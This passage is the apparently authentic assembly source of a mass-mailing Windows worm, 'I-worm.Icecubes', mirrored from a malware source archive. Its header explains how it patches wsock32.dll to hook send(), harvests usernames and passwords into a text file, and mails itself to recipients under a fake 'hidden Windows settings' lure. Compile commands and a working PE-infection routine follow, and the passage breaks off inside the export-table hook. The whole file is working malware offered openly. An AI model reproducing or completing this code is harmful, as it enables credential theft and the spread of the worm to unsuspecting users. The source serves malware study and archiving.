mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-30 15:05:27 +00:00
4983 lines
128 KiB
NASM
4983 lines
128 KiB
NASM
|
;****************************************************************************;
|
|||
|
;----------------------------------------------------------------------------;
|
|||
|
; I-worm.Icecubes v 1.05
|
|||
|
; written by f0re
|
|||
|
;----------------------------------------------------------------------------;
|
|||
|
;============================================================================;
|
|||
|
;
|
|||
|
; ABOUT
|
|||
|
; -----
|
|||
|
;
|
|||
|
; Welcome to the sourcecode of my first i-worm. I have given this worm its
|
|||
|
; name, i-worm.Icecubes, because of two reasons. First of all, here where
|
|||
|
; i live the summer is coming..and i like icecubes in my drinks :).
|
|||
|
; Secondly it is because of the joke behind the worm host code; when a user
|
|||
|
; receives the worm in his mailbox, the emailmessage looks like this:
|
|||
|
;
|
|||
|
; Subject: Fw: Windows Icecubes !
|
|||
|
;
|
|||
|
; ----- Original Message -----
|
|||
|
;
|
|||
|
; >Look at what I found on the web. This tool scans your system for hidden
|
|||
|
; >Windows settings.
|
|||
|
; >These settings, which are better known as the "Windows Icecubes", were
|
|||
|
; >built in Windows by
|
|||
|
; >the programmers at Microsoft and were supposed to be kept secret.
|
|||
|
; >
|
|||
|
; >Just take a look, cause I think you might want to make some changes ;).
|
|||
|
; >
|
|||
|
;
|
|||
|
;
|
|||
|
; EXECUTION
|
|||
|
; ---------
|
|||
|
;
|
|||
|
; When the worm is executed it will first check whether it is being executed
|
|||
|
; under win 95/98. If any other version of windows is found, it will skip the
|
|||
|
; infection procedure and run the worm-host code immediately.
|
|||
|
;
|
|||
|
; If windows 95/98 is detected it will try to locate the wsock32.dll and copy it
|
|||
|
; to wsock32.inf. It also copies itself to the windows system directory under
|
|||
|
; the name wsock2.dll. Then it will add the worm code to the .inf file by
|
|||
|
; increasing the size of the last section.
|
|||
|
; Next the worm will point the send api address in the wsock32.inf export table
|
|||
|
; to the virus code. Finally the worm drops a wininit.ini file in the windir
|
|||
|
; to direct windows at the next reboot to overwrite the original wsock32.dll
|
|||
|
; with the infected wsock32.inf.
|
|||
|
;
|
|||
|
; Then the worm will execute the worm host code; a progressbar followed by
|
|||
|
; funny dialog (check it out for yourself :).
|
|||
|
;
|
|||
|
;
|
|||
|
; SEND HOOK
|
|||
|
; ---------
|
|||
|
;
|
|||
|
; Once the wsock32.dll api-hook-routine receives control it will scan the send
|
|||
|
; buffer for usernames and or passwords. If these are found, they are stored in the
|
|||
|
; file <windir>\icecube.txt. If an email is being sended, the worm will extract the
|
|||
|
; recipient(s) emailaddress(es), the from emailaddres, the recipient(s) name(s)
|
|||
|
; and the from-name. Next it will base64 encode the host-worm file (wsock2.dll) and
|
|||
|
; prepare a new email with the encoded host attached. The body of the email contains
|
|||
|
; the text as shown in the ABOUT section of this description. This new email will
|
|||
|
; be send after the original email has been send (this is also known as the
|
|||
|
; happy99 technique).
|
|||
|
;
|
|||
|
;
|
|||
|
; THANKS
|
|||
|
; ------
|
|||
|
;
|
|||
|
; I'd like to thank the following persons who helped me with my many
|
|||
|
; questions: BlackJack, MrSandman, Spo0ky, Darkman, Benny, Prizzy,
|
|||
|
; urgo32, Lifewire, dageshi and T-2000.
|
|||
|
;
|
|||
|
;
|
|||
|
;****************************************************************************;
|
|||
|
;
|
|||
|
; To compile:
|
|||
|
;
|
|||
|
; tasm32 icecubes.asm /ml /m
|
|||
|
; tlink32 -aa icecubes.obj import32.lib
|
|||
|
;
|
|||
|
; brcc32 icecubes.rc
|
|||
|
; brc32.exe icecubes.res
|
|||
|
;
|
|||
|
;****************************************************************************;
|
|||
|
|
|||
|
.386
|
|||
|
.model flat, stdcall
|
|||
|
|
|||
|
locals
|
|||
|
jumps
|
|||
|
extrn ExitProcess:PROC
|
|||
|
extrn DialogBoxParamA:PROC
|
|||
|
extrn GetModuleHandleA:PROC
|
|||
|
extrn EndDialog:PROC
|
|||
|
extrn GetWindowRect:PROC
|
|||
|
extrn GetDesktopWindow:PROC
|
|||
|
extrn MoveWindow:PROC
|
|||
|
extrn CreateThread:PROC
|
|||
|
extrn SendDlgItemMessageA:PROC
|
|||
|
extrn SetDlgItemTextA:PROC
|
|||
|
extrn CloseHandle:PROC
|
|||
|
extrn GetDlgItemTextA:PROC
|
|||
|
extrn GetModuleHandleA:PROC
|
|||
|
extrn GetVersion:PROC
|
|||
|
|
|||
|
.data
|
|||
|
|
|||
|
Start:
|
|||
|
xor ebp, ebp
|
|||
|
|
|||
|
CheckWindowsVersion:
|
|||
|
call GetVersion
|
|||
|
or eax, eax
|
|||
|
jz ReturnToWormHost
|
|||
|
|
|||
|
MainRoutines:
|
|||
|
pushad
|
|||
|
call GET_GETPROCADDRESS_API_ADDRESS
|
|||
|
call GET_WINDIR
|
|||
|
call GET_SYSDIR
|
|||
|
call INFECT_WSOCK
|
|||
|
call COPY_HOST_FILE
|
|||
|
popad
|
|||
|
|
|||
|
ReturnToWormHost:
|
|||
|
jmp OriginalHost
|
|||
|
|
|||
|
;==============================[ includes ]==================================;
|
|||
|
|
|||
|
include windows.inc
|
|||
|
include wsocks.inc
|
|||
|
include myinc.inc
|
|||
|
|
|||
|
;=============================[ ic-data.inc ]===============================;
|
|||
|
|
|||
|
; get_gpa.inc data
|
|||
|
kernel32address dd 0BFF70000h
|
|||
|
numberofnames dd ?
|
|||
|
addressoffunctions dd ?
|
|||
|
addressofnames dd ?
|
|||
|
addressofordinals dd ?
|
|||
|
AONindex dd ?
|
|||
|
AGetProcAddress db "GetProcAddress", 0
|
|||
|
AGetProcAddressA dd 0
|
|||
|
|
|||
|
; directory.inc data
|
|||
|
currentdir db 100h dup(0)
|
|||
|
sysdir db 100h dup(0)
|
|||
|
windir db 100h dup(0)
|
|||
|
AGetSystemDirectory db "GetSystemDirectoryA",0
|
|||
|
AGetWindowsDirectory db "GetWindowsDirectoryA",0
|
|||
|
ASetCurrentDirectory db "SetCurrentDirectoryA",0
|
|||
|
|
|||
|
; infect_wsock.inc
|
|||
|
wsock32dll db "Wsock32.dll",0
|
|||
|
wsock32inf db "Wsock32.inf",0
|
|||
|
ACopyFile db "CopyFileA",0
|
|||
|
infectionflag db 0
|
|||
|
AFindFirstFile db "FindFirstFileA",0
|
|||
|
myfinddata WIN32_FIND_DATA <>
|
|||
|
filesize dd 0
|
|||
|
memory dd 0
|
|||
|
ADeleteFile db "DeleteFileA",0
|
|||
|
|
|||
|
; infect_file.inc
|
|||
|
ASetFileAttributes db "SetFileAttributesA",0
|
|||
|
ACreateFile db "CreateFileA",0
|
|||
|
ACreateFileMapping db "CreateFileMappingA",0
|
|||
|
AMapViewOfFile db "MapViewOfFile",0
|
|||
|
filehandle dd 0
|
|||
|
maphandle dd 0
|
|||
|
mapaddress dd 0
|
|||
|
PEheader dd 0
|
|||
|
imagebase dd 0
|
|||
|
imagesize dd 0
|
|||
|
wnewapiaddress dd 0
|
|||
|
AUnmapViewOfFile db "UnmapViewOfFile",0
|
|||
|
ACloseHandle db "CloseHandle",0
|
|||
|
ASetFilePointer db "SetFilePointer",0
|
|||
|
ASetEndOfFile db "SetEndOfFile",0
|
|||
|
ASetFileTime db "SetFileTime",0
|
|||
|
|
|||
|
; hook_api.inc
|
|||
|
woldapiaddress dd 0
|
|||
|
|
|||
|
; rva_to_raw.inc
|
|||
|
rva2raw dd 0
|
|||
|
|
|||
|
; get_api.inc
|
|||
|
user32address dd 0
|
|||
|
wsock32address dd 0
|
|||
|
|
|||
|
; create_ini_file.inc
|
|||
|
inifile db "wininit.ini",0
|
|||
|
writtensize dw 0
|
|||
|
inicrlf db 0dh,0ah,0
|
|||
|
rename db "[rename]",13,10
|
|||
|
slashsign db "\",0
|
|||
|
equalsign db "=",0
|
|||
|
writtenbytes dd 0
|
|||
|
AWriteFile db "WriteFile",0
|
|||
|
|
|||
|
; ws_copy_host_file
|
|||
|
AGetModuleFileName db "GetModuleFileNameA",0
|
|||
|
|
|||
|
; get_bases.inc
|
|||
|
ALoadLibrary db "LoadLibraryA",0
|
|||
|
k32 db "KERNEL32.dll",0
|
|||
|
user32 db "USER32.dll",0
|
|||
|
wsock32 db "WSOCK32.dll",0
|
|||
|
|
|||
|
; host_code.inc
|
|||
|
dlgrect RECT <>
|
|||
|
desktoprect RECT <>
|
|||
|
dlgwidth dd 0
|
|||
|
dlgheight dd 0
|
|||
|
threadid dd 0
|
|||
|
initflag dd 0
|
|||
|
okflag dd 0
|
|||
|
flag dd 0
|
|||
|
pastvalue dd 0
|
|||
|
currentvalue db '2',0
|
|||
|
doneflag dd 0
|
|||
|
value11 db "Days",0
|
|||
|
value12 db "Weeks",0
|
|||
|
value13 db "Months",0
|
|||
|
value14 db "Years",0
|
|||
|
value3 db "5000",0
|
|||
|
value4 db "17",0
|
|||
|
|
|||
|
; ic.asm
|
|||
|
hInst dd 0
|
|||
|
|
|||
|
; write_to_file.inc
|
|||
|
passwordfile db "icecube.txt",0
|
|||
|
|
|||
|
; ws_intercept.inc
|
|||
|
socketh dd 0
|
|||
|
status db 0
|
|||
|
AGlobalAlloc db "GlobalAlloc",0
|
|||
|
fromaddress dd 0
|
|||
|
fromsize dd 0
|
|||
|
rcptnumber dd 0
|
|||
|
rcpt_buffer_address dd 0
|
|||
|
rcpt_size_address dd 0
|
|||
|
totalrcptsize dd 0
|
|||
|
fromtag db 'From:',0
|
|||
|
totag db 'To:',0
|
|||
|
mimeendtag db '>',0
|
|||
|
mimefrom_address dd 0
|
|||
|
mimefromsize dd 0
|
|||
|
fromstatus db 0
|
|||
|
tostatus db 0
|
|||
|
toendtag db 'Subject:',0
|
|||
|
mimetosize dd 0
|
|||
|
mimeto_address dd 0
|
|||
|
|
|||
|
; ws_b64_encoder.inc
|
|||
|
encTable db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuv'
|
|||
|
db 'wxyz0123456789+/'
|
|||
|
; ws_attachment
|
|||
|
wsock2 db "Wsock2.dll",0
|
|||
|
smHnd dd 0
|
|||
|
dmHnd dd 0
|
|||
|
bytesread dd 0
|
|||
|
encodedsize dd 0
|
|||
|
AReadFile db "ReadFile",0
|
|||
|
AGetFileSize db "GetFileSize",0
|
|||
|
|
|||
|
; ws_send_mail
|
|||
|
email_buffer_address dd 0
|
|||
|
email_size dd 0
|
|||
|
datatag db 'DATA',0dh,0ah
|
|||
|
emailid db 'Message-ID: <a1234>',0dh,0ah
|
|||
|
emailstart db 'Subject: Fw: Windows Icecubes !',0dh,0ah
|
|||
|
db 'MIME-Version: 1.0',0dh,0ah
|
|||
|
db 'Content-Type: multipart/mixed; boundary="a1234"',0dh,0ah
|
|||
|
db 0dh,0ah,'--a1234',0dh,0ah
|
|||
|
db 'Content-Type: text/plain; charset=us-ascii',0dh,0ah
|
|||
|
db 'Content-Transfer-Encoding: 7bit',0dh,0ah,0dh,0ah
|
|||
|
db 0dh,0ah
|
|||
|
db '----- Original Message -----', 0dh,0ah
|
|||
|
db 0dh,0ah
|
|||
|
db '>Look at what I found on the web. This tool scans your system for hidden Windows settings.', 0dh, 0ah
|
|||
|
db '>These settings, which are better known as the "Windows Icecubes", were built in Windows by', 0dh,0ah
|
|||
|
db '>the programmers at Microsoft and were supposed to be kept secret. ',0dh,0ah
|
|||
|
db '>',0dh,0ah
|
|||
|
db '>Just take a look, cause I think you might want to make some changes ;).',0dh,0ah
|
|||
|
db '>',0dh,0ah
|
|||
|
db 0dh,0ah
|
|||
|
db 0dh,0ah,'--a1234',0dh,0ah
|
|||
|
db 'Content-Type: application/octet-stream; name="Icecubes.exe"'
|
|||
|
db 0dh,0ah,'Content-Transfer-Encoding: base64',0dh,0ah
|
|||
|
db 'Content-Disposition: attachment; filename="Icecubes.exe"',0dh,0ah,0dh,0ah
|
|||
|
emailend db 0dh,0ah
|
|||
|
emailtail db 0dh,0ah,0dh,0ah,'--a1234--',0dh,0ah,0dh,0ah
|
|||
|
endtag db 0Dh,0Ah,2Eh,0Dh,0Ah
|
|||
|
timedate SYSTEMTIME <>
|
|||
|
AMessageBox db "MessageBoxA",0
|
|||
|
AGetSystemTime db "GetSystemTime",0
|
|||
|
msgmessage db "Windows detected icecubes on your harddrive.",10,13
|
|||
|
db "This may cause the system to stop responding.",10,13
|
|||
|
db "Do you want Windows to remove all icecubes ?",0
|
|||
|
windowtitle db "I-worm.Icecubes / f0re",0
|
|||
|
ASend db "send",0
|
|||
|
ARecv db "recv",0
|
|||
|
recvbuffer db 100h dup(0)
|
|||
|
|
|||
|
;============================[ ic-get_gpa.inc ]=============================;
|
|||
|
|
|||
|
GET_GETPROCADDRESS_API_ADDRESS proc
|
|||
|
|
|||
|
LoadExportTableData:
|
|||
|
mov edi, [ebp + kernel32address] ; get exporttable
|
|||
|
add edi, [edi + 3ch] ; address from
|
|||
|
mov esi, [edi + 78h] ; kernel's PE header
|
|||
|
add esi, [ebp + kernel32address]
|
|||
|
|
|||
|
mov eax, dword ptr [esi + 18h]
|
|||
|
mov [ebp + numberofnames], eax ; save number of names
|
|||
|
|
|||
|
mov eax, dword ptr [esi + 1Ch] ; get ra of table with
|
|||
|
add eax, [ebp + kernel32address] ; pointers to funtion
|
|||
|
mov [ebp + addressoffunctions], eax ; addresses
|
|||
|
|
|||
|
mov eax, dword ptr [esi + 20h] ; get ra of table with
|
|||
|
add eax, [ebp + kernel32address] ; pointers to names
|
|||
|
mov [ebp + addressofnames], eax ; of functions
|
|||
|
|
|||
|
mov eax, dword ptr [esi + 24h] ; get ra of table with
|
|||
|
add eax, [ebp + kernel32address] ; pointers to ordinals
|
|||
|
mov [ebp + addressofordinals], eax ; of functions
|
|||
|
|
|||
|
BeginProcAddressSearch:
|
|||
|
mov esi, [ebp + addressofnames] ; search for GetProc
|
|||
|
mov [ebp + AONindex], esi ; Address API in names
|
|||
|
mov edi, [esi] ; table
|
|||
|
add edi, [ebp + kernel32address]
|
|||
|
xor ecx, ecx
|
|||
|
lea ebx, [ebp + AGetProcAddress]
|
|||
|
|
|||
|
TryAgain:
|
|||
|
mov esi, ebx
|
|||
|
|
|||
|
MatchByte:
|
|||
|
cmpsb
|
|||
|
jne NextOne
|
|||
|
cmp byte ptr [esi], 0 ; did the entire string
|
|||
|
je GotIt ; match ?
|
|||
|
jmp MatchByte
|
|||
|
|
|||
|
NextOne:
|
|||
|
inc cx
|
|||
|
add dword ptr [ebp + AONindex], 4 ; get next namepointer
|
|||
|
mov esi, [ebp + AONindex] ; in table (4 dwords)
|
|||
|
mov edi, [esi]
|
|||
|
add edi, [ebp + kernel32address] ; align with kernelbase
|
|||
|
jmp TryAgain
|
|||
|
|
|||
|
GotIt:
|
|||
|
shl ecx, 1
|
|||
|
mov esi, [ebp + addressofordinals] ; ordinal = nameindex *
|
|||
|
add esi, ecx ; size of ordinal entry
|
|||
|
xor eax, eax ; + ordinal table base
|
|||
|
mov ax, word ptr [esi]
|
|||
|
shl eax, 2 ; address of function =
|
|||
|
mov esi, [ebp + addressoffunctions] ; ordinal * size of
|
|||
|
add esi, eax ; entry of address
|
|||
|
mov edi, dword ptr [esi] ; table + base of
|
|||
|
add edi, [ebp + kernel32address] ; addresstable
|
|||
|
mov [ebp + AGetProcAddressA], edi ; save GPA address
|
|||
|
ret
|
|||
|
|
|||
|
GET_GETPROCADDRESS_API_ADDRESS endp
|
|||
|
|
|||
|
;===========================[ ic-get_bases.inc ]============================;
|
|||
|
|
|||
|
GET_WSOCK32_BASE_ADDRESS proc
|
|||
|
|
|||
|
LoadWsock32:
|
|||
|
lea eax, [ebp + wsock32] ; not found, then
|
|||
|
push eax ; load the dll
|
|||
|
lea eax, [ebp + ALoadLibrary] ; first
|
|||
|
call GETAPI
|
|||
|
mov [ebp + wsock32address], eax
|
|||
|
ret
|
|||
|
|
|||
|
GET_WSOCK32_BASE_ADDRESS endp
|
|||
|
|
|||
|
GET_USER32_BASE_ADDRESS proc
|
|||
|
|
|||
|
GetUser32Base:
|
|||
|
lea eax, [ebp + user32]
|
|||
|
push eax
|
|||
|
lea eax, [ebp + ALoadLibrary]
|
|||
|
call GETAPI
|
|||
|
mov [ebp + user32address], eax
|
|||
|
ret
|
|||
|
|
|||
|
GET_USER32_BASE_ADDRESS endp
|
|||
|
|
|||
|
;============================[ ic-get_api.inc ]=============================;
|
|||
|
|
|||
|
GETAPI proc
|
|||
|
|
|||
|
push eax
|
|||
|
push dword ptr [ebp + kernel32address] ; load kernelbase
|
|||
|
call [ebp + AGetProcAddressA] ; and get api address
|
|||
|
jmp eax ; call the api
|
|||
|
ret ; return
|
|||
|
|
|||
|
GETAPI endp
|
|||
|
|
|||
|
GETUAPI proc
|
|||
|
|
|||
|
push eax
|
|||
|
push dword ptr [ebp + user32address] ; load wsockbase
|
|||
|
call [ebp + AGetProcAddressA] ; and get api address
|
|||
|
jmp eax
|
|||
|
ret
|
|||
|
|
|||
|
GETUAPI endp
|
|||
|
|
|||
|
GETWAPI proc
|
|||
|
|
|||
|
push eax
|
|||
|
push dword ptr [ebp + wsock32address] ; load wsockbase
|
|||
|
call [ebp + AGetProcAddressA] ; and get api address
|
|||
|
jmp eax
|
|||
|
ret
|
|||
|
|
|||
|
GETWAPI endp
|
|||
|
|
|||
|
;==========================[ ic-directory.inc ]=============================;
|
|||
|
|
|||
|
GET_WINDIR proc
|
|||
|
|
|||
|
GetWindowsDir:
|
|||
|
push 128h ; size of dirstring
|
|||
|
lea eax, [ebp + windir] ; save it here
|
|||
|
push eax
|
|||
|
lea eax, [ebp + AGetWindowsDirectory] ; get windowsdir
|
|||
|
call GETAPI
|
|||
|
ret
|
|||
|
|
|||
|
GET_WINDIR endp
|
|||
|
|
|||
|
GET_SYSDIR proc
|
|||
|
|
|||
|
GetSystemDir:
|
|||
|
push 128h ; size of dirstring
|
|||
|
lea eax, [ebp + sysdir] ; save it here
|
|||
|
push eax
|
|||
|
lea eax, [ebp + AGetSystemDirectory] ; get system dir
|
|||
|
call GETAPI
|
|||
|
ret
|
|||
|
|
|||
|
GET_SYSDIR endp
|
|||
|
|
|||
|
SET_WINDIR proc
|
|||
|
|
|||
|
SetWindowsDir:
|
|||
|
lea eax, [ebp + windir] ; change to sysdir
|
|||
|
push eax
|
|||
|
lea eax, [ebp + ASetCurrentDirectory]
|
|||
|
call GETAPI
|
|||
|
ret
|
|||
|
|
|||
|
SET_WINDIR endp
|
|||
|
|
|||
|
SET_SYSDIR proc
|
|||
|
|
|||
|
SetSystemDir:
|
|||
|
lea eax, [ebp + sysdir] ; change to sysdir
|
|||
|
push eax
|
|||
|
lea eax, [ebp + ASetCurrentDirectory]
|
|||
|
call GETAPI
|
|||
|
ret
|
|||
|
|
|||
|
SET_SYSDIR endp
|
|||
|
|
|||
|
;=========================[ ic-infect_wsock.inc ]===========================;
|
|||
|
|
|||
|
INFECT_WSOCK proc
|
|||
|
|
|||
|
WsockSetSystemDirectory:
|
|||
|
call SET_SYSDIR
|
|||
|
|
|||
|
CopyWSockFile:
|
|||
|
push 00h
|
|||
|
lea eax, [ebp + wsock32inf]
|
|||
|
push eax
|
|||
|
lea eax, [ebp + wsock32dll]
|
|||
|
push eax
|
|||
|
lea eax, [ebp + ACopyFile]
|
|||
|
call GETAPI
|
|||
|
|
|||
|
SearchWsockFile:
|
|||
|
mov [ebp + infectionflag], 00h
|
|||
|
lea eax, [ebp + myfinddata] ; win32 finddata structure
|
|||
|
push eax
|
|||
|
lea eax, [ebp + wsock32inf] ; get wsock32.inf
|
|||
|
push eax
|
|||
|
lea eax, [ebp + AFindFirstFile] ; find the first file
|
|||
|
call GETAPI
|
|||
|
cmp eax, 0FFFFFFFh
|
|||
|
je WsockEndSearch
|
|||
|
|
|||
|
GoInfectWsockInf:
|
|||
|
mov ecx, [ebp + myfinddata.fd_nFileSizeLow] ; ecx = filesize
|
|||
|
mov [ebp + filesize], ecx ; save the filesize
|
|||
|
add ecx, Leap - Start + 1000h ; filesize + virus
|
|||
|
mov [ebp + memory], ecx ; + workspace = memory
|
|||
|
call INFECT_FILE
|
|||
|
cmp [ebp + infectionflag], 01
|
|||
|
je DeleteWsockFile
|
|||
|
|
|||
|
call CREATE_INI_FILE
|
|||
|
jmp WsockEndSearch
|
|||
|
|
|||
|
DeleteWsockFile:
|
|||
|
lea eax, [ebp + wsock32inf]
|
|||
|
push eax
|
|||
|
lea eax, [ebp + ADeleteFile]
|
|||
|
call GETAPI
|
|||
|
|
|||
|
DeleteIniFile2:
|
|||
|
call SET_WINDIR
|
|||
|
lea eax, [ebp + inifile]
|
|||
|
push eax
|
|||
|
lea eax, [ebp + ADeleteFile]
|
|||
|
call GETAPI
|
|||
|
|
|||
|
WsockEndSearch:
|
|||
|
ret
|
|||
|
|
|||
|
INFECT_WSOCK endp
|
|||
|
|
|||
|
;=========================[ ic-infect_file.inc ]============================;
|
|||
|
|
|||
|
INFECT_FILE proc
|
|||
|
|
|||
|
SetAttributesToNormal:
|
|||
|
push 80h
|
|||
|
lea esi, [ebp + myfinddata.fd_cFileName] ; esi = filename
|
|||
|
push esi
|
|||
|
lea eax, [ebp + ASetFileAttributes]
|
|||
|
call GETAPI
|
|||
|
|
|||
|
OpenFile:
|
|||
|
push 0 ; template handle=0
|
|||
|
push 20h ; attributes=any file
|
|||
|
push 3 ; type= existing file
|
|||
|
push 0 ; security option = 0
|
|||
|
push 1 ; shared for read
|
|||
|
push 80000000h or 40000000h ; generic read write
|
|||
|
push esi ; offset file name
|
|||
|
lea eax, [ebp + ACreateFile]
|
|||
|
call GETAPI
|
|||
|
|
|||
|
cmp eax, 0FFFFFFFFh
|
|||
|
je InfectionError
|
|||
|
mov [ebp + filehandle], eax
|
|||
|
|
|||
|
;-------------------------------[ map file ]---------------------------------;
|
|||
|
|
|||
|
CreateFileMapping: ; allocates the memory
|
|||
|
push 0 ; filename handle = 0
|
|||
|
push dword ptr [ebp + memory] ; max size = memory
|
|||
|
push 0 ; minumum size = 0
|
|||
|
push 4 ; read / write access
|
|||
|
push 0 ; sec. attrbs= default
|
|||
|
push dword ptr [ebp + filehandle]
|
|||
|
lea eax, [ebp + ACreateFileMapping]
|
|||
|
call GETAPI ; eax = new map handle
|
|||
|
|
|||
|
mov [ebp + maphandle], eax
|
|||
|
or eax, eax
|
|||
|
jz CloseFile
|
|||
|
|
|||
|
MapViewOfFile:
|
|||
|
push dword ptr [ebp + memory] ; memory to map
|
|||
|
push 0 ; file offset
|
|||
|
push 0 ; file offset
|
|||
|
push 2 ; file map write mode
|
|||
|
push eax ; file map handle
|
|||
|
lea eax, [ebp + AMapViewOfFile] ; ok map the file
|
|||
|
call GETAPI
|
|||
|
|
|||
|
or eax, eax
|
|||
|
jz CloseMap
|
|||
|
mov esi, eax ; esi= base of map
|
|||
|
mov [ebp + mapaddress], esi ; save that base
|
|||
|
|
|||
|
DoSomeChecks:
|
|||
|
cmp word ptr [esi], 'ZM' ; an exe file?
|
|||
|
jne UnmapView
|
|||
|
cmp word ptr [esi + 38h], 'll' ; already infected?
|
|||
|
jne OkGo
|
|||
|
mov [ebp + infectionflag], 1 ; set infectionflag
|
|||
|
jmp UnmapView
|
|||
|
|
|||
|
OkGo:
|
|||
|
mov ebx, dword ptr [esi + 3ch]
|
|||
|
cmp ebx, 200h
|
|||
|
ja UnmapView
|
|||
|
add ebx, esi
|
|||
|
cmp dword ptr [ebx], 'EP' ; is it a PE file ?
|
|||
|
jne UnmapView
|
|||
|
|
|||
|
mov [ebp + PEheader], ebx ; save ra PE header
|
|||
|
mov esi, ebx
|
|||
|
mov eax, [esi + 34h]
|
|||
|
mov [ebp + imagebase], eax ; save imagebase
|
|||
|
|
|||
|
;------------------------------[ append section ]----------------------------;
|
|||
|
|
|||
|
LocateBeginOfLastSection:
|
|||
|
movzx ebx, word ptr [esi + 20d] ; optional header size
|
|||
|
add ebx, 24d ; file header size
|
|||
|
movzx eax, word ptr [esi + 6h] ; no of sections
|
|||
|
dec eax ; (we want the last-1
|
|||
|
mov ecx, 28h ; sectionheader)
|
|||
|
mul ecx ; * header size
|
|||
|
add esi, ebx ; esi = begin of last
|
|||
|
add esi, eax ; section's header
|
|||
|
|
|||
|
ChangeLastSectionHeader:
|
|||
|
or dword ptr [esi + 24h], 00000020h or 20000000h or 80000000h
|
|||
|
|
|||
|
NewAlignedPhysicalSize:
|
|||
|
mov eax, dword ptr [esi + 10h] ; old phys size
|
|||
|
push eax ; save it
|
|||
|
|
|||
|
add eax, Leap-Start
|
|||
|
mov ecx, [ebp + PEheader]
|
|||
|
mov ecx, [ecx + 38h]
|
|||
|
div ecx ; and align it to
|
|||
|
inc eax ; the sectionalign
|
|||
|
mul ecx
|
|||
|
mov dword ptr [esi + 10h], eax ; save it
|
|||
|
|
|||
|
VirtualSizeCheck:
|
|||
|
mov edi, dword ptr [esi + 8h] ; get old
|
|||
|
cmp eax, edi ; virtualsize
|
|||
|
jge NewVirtualSize
|
|||
|
|
|||
|
VirtualSizeIsVirtual:
|
|||
|
add edi, Leap-Start
|
|||
|
mov eax, edi
|
|||
|
mov ecx, [ebp + PEheader]
|
|||
|
mov ecx, [ecx + 38h]
|
|||
|
div ecx ; and align it to
|
|||
|
inc eax ; the sectionalign
|
|||
|
mul ecx
|
|||
|
|
|||
|
NewVirtualSize:
|
|||
|
mov [esi + 8h], eax ; save new value
|
|||
|
|
|||
|
NewAlignedImageSize:
|
|||
|
mov eax, dword ptr [esi + 0ch] ; get virtual offset
|
|||
|
add eax, dword ptr [esi + 8h] ; + new virtual size
|
|||
|
mov [ebp + imagesize], eax ; = new imagesize
|
|||
|
|
|||
|
NewAlignedFileSize:
|
|||
|
mov eax, dword ptr [esi + 10h] ; get new phys size
|
|||
|
add eax, dword ptr [esi + 14h] ; add offset of phys
|
|||
|
mov ecx, [ebp + PEheader]
|
|||
|
mov ecx, [ecx + 3ch]
|
|||
|
div ecx ; and align it to
|
|||
|
inc eax ; the filealign
|
|||
|
mul ecx
|
|||
|
mov [ebp + filesize], eax ; size = filesize
|
|||
|
|
|||
|
CalculateNewWsockApiAddress:
|
|||
|
pop eax
|
|||
|
push eax
|
|||
|
add eax, dword ptr [esi + 0ch] ; + virtual offset
|
|||
|
add eax, InterceptWsockApiCall - Start ; + ip
|
|||
|
mov [ebp + wnewapiaddress], eax ; new api address
|
|||
|
jmp HookDaApi
|
|||
|
|
|||
|
HookDaApi:
|
|||
|
push esi
|
|||
|
call HOOK_API
|
|||
|
pop esi
|
|||
|
|
|||
|
CopyVirusToEndOfFile:
|
|||
|
pop eax
|
|||
|
mov edi, eax
|
|||
|
add edi, [ebp + mapaddress] ; mapaddress
|
|||
|
add edi, [esi + 14h] ; add raw data offset
|
|||
|
lea esi, [ebp + Start] ; copy virus
|
|||
|
mov ecx, (Leap-Start)/4 + 4
|
|||
|
cld
|
|||
|
rep movsd
|
|||
|
|
|||
|
UpdatePEHeaderWithChanges:
|
|||
|
mov esi, [ebp + mapaddress]
|
|||
|
mov word ptr [esi + 38h], 'll' ; set infectionmark
|
|||
|
mov esi, [ebp + PEheader]
|
|||
|
mov eax, [ebp + imagesize]
|
|||
|
mov [esi + 50h], eax ; set new imagesize
|
|||
|
|
|||
|
;--------------------------------[ unmap file ]------------------------------;
|
|||
|
|
|||
|
UnmapView:
|
|||
|
push dword ptr [ebp + mapaddress]
|
|||
|
lea eax, [ebp + AUnmapViewOfFile]
|
|||
|
call GETAPI
|
|||
|
|
|||
|
CloseMap:
|
|||
|
push dword ptr [ebp + maphandle]
|
|||
|
lea eax, [ebp + ACloseHandle]
|
|||
|
call GETAPI
|
|||
|
|
|||
|
push 0
|
|||
|
push 0
|
|||
|
push dword ptr [ebp + filesize]
|
|||
|
push dword ptr [ebp + filehandle]
|
|||
|
lea eax, [ebp + ASetFilePointer]
|
|||
|
call GETAPI
|
|||
|
|
|||
|
push dword ptr [ebp + filehandle]
|
|||
|
lea eax, [ebp + ASetEndOfFile]
|
|||
|
call GETAPI
|
|||
|
|
|||
|
;--------------------------------[ close file ]------------------------------;
|
|||
|
|
|||
|
CloseFile:
|
|||
|
push dword ptr [ebp + myfinddata.fd_ftLastWriteTime]
|
|||
|
push dword ptr [ebp + myfinddata.fd_ftLastAccessTime]
|
|||
|
push dword ptr [ebp + myfinddata.fd_ftCreationTime]
|
|||
|
push dword ptr [ebp + filehandle]
|
|||
|
lea eax, [ebp + ASetFileTime]
|
|||
|
call GETAPI
|
|||
|
|
|||
|
push [ebp + filehandle]
|
|||
|
lea eax, [ebp + ACloseHandle]
|
|||
|
call GETAPI
|
|||
|
|
|||
|
InfectionError:
|
|||
|
push dword ptr [ebp + myfinddata.fd_dwFileAttributes]
|
|||
|
lea eax, [ebp + myfinddata.fd_cFileName]
|
|||
|
push eax
|
|||
|
lea eax, [ebp + ASetFileAttributes]
|
|||
|
call GETAPI
|
|||
|
ret
|
|||
|
|
|||
|
INFECT_FILE endp
|
|||
|
|
|||
|
;===========================[ ic-hook_api.inc ]=============================;
|
|||
|
|
|||
|
HOOK_API proc
|
|||
|
|
|||
|
LoadWSockExportTableData:
|
|||
|
mov edi, [ebp + PEheader]
|
|||
|
mov esi, dword ptr [edi + 78h] ; rva export table
|
|||
|
|
|||
|
mov edx, esi ; get RVA
|
|||
|
call RVA_TO_RAW
|
|||
|
mov esi, ecx
|
|||
|
mov eax, dword ptr [esi + 18h]
|
|||
|
mov [ebp + numberofnames], eax ; save number of names
|
|||
|
|
|||
|
push esi
|
|||
|
mov eax, dword ptr [esi + 1Ch] ; get ra of table with
|
|||
|
|
|||
|
mov edx, eax
|
|||
|
call RVA_TO_RAW
|
|||
|
mov eax, ecx ; pointers to funtion
|
|||
|
mov [ebp + addressoffunctions], eax ; addresses
|
|||
|
|
|||
|
pop esi
|
|||
|
push esi
|
|||
|
